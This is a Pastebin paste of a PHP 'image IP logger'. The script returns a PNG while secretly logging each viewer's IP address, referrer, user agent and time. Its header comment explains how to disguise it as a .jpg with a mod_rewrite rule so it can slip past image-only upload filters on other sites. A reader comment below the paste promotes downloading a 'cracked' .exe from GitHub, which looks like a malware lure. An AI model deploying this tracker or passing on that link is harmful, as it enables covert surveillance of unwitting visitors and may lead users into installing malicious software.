Advertisement
lys3rg1a

Image IP logger - PHP

Dec 20th, 2011
8,898
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.78 KB | None | 0 0
  1. <?php
  2.  
  3. /* outputs image and traces IP address (outputted image can be embedded as an
  4. easier method of tracing IP addresses).
  5.  
  6. If site used to embed only accepts specific file extensions (i.e. only allowing
  7. a .jpg image as an avatar, then you can potentially bypass this by mod_rewriting
  8. your .htaccess file on your web server and adding the following line (make sure
  9. rewrite engine is on):
  10.  
  11. RewriteRule ^file.jpg$ iptracer.php
  12.  
  13. then upload a jpg file which you want to redirect to the php tracer, if the site
  14. uses a GET request to grab and display an image with a .jpg extension it will
  15. do the request seeing as the extension is .jpg, and will be redirected to the .php
  16. script, displaying the image outputted by the script while running the code to trace
  17. the IP address and other info alongside it.                               */
  18.  
  19. $log = 'log.html';
  20. $ip = $_SERVER['REMOTE_ADDR'];
  21. $page = $_SERVER['REQUEST_URI'];
  22. $refer = $_SERVER['HTTP_REFERER'];
  23. $date = date("l j F Y  g:ia", time() - date("Z")) ;
  24. $ua = $_SERVER['HTTP_USER_AGENT'];
  25. $open = fopen("log.html", "a");
  26. $image = imagecreate( 200, 80 );
  27. $bg = imagecolorallocate( $image, 255, 0, 255 );
  28. $tc = imagecolorallocate( $image, 200, 200, 0 );
  29. $lc = imagecolorallocate( $image, 128, 255, 0 );
  30.  
  31. fputs($open, "$date <br>IP Address: $ip<br>Page: $page<br>Referral URL: $refer<br>User agent: $ua <br><br>
  32. ");
  33. flock($open, 3);
  34. fclose($open);
  35. imagestring( $image, 4, 30, 25, "Outputted image - lys3rg1a",
  36.   $tc );
  37. imagesetthickness ( $image, 5 );
  38. imageline( $image, 30, 45, 165, 45, $lc );
  39. header( "Content-type: image/png" );
  40. imagepng( $image );
  41. imagecolordeallocate( $lc );
  42. imagecolordeallocate( $tc );
  43. imagecolordeallocate( $bg );
  44. imagedestroy( $image );
  45.  
  46. /* Written by lys3rg1a
  47. contact email: [email protected] */
  48.  
  49. ?>
Advertisement
Comments
  • Avalon420
    1 year
    # text 0.12 KB | 0 0
    1. Working as of to day Make your own logger with this app https://github.com/Venom0248/Menu/raw/main/CrackedRevenant_1.exe
Add Comment
Please, Sign In to add comment
Advertisement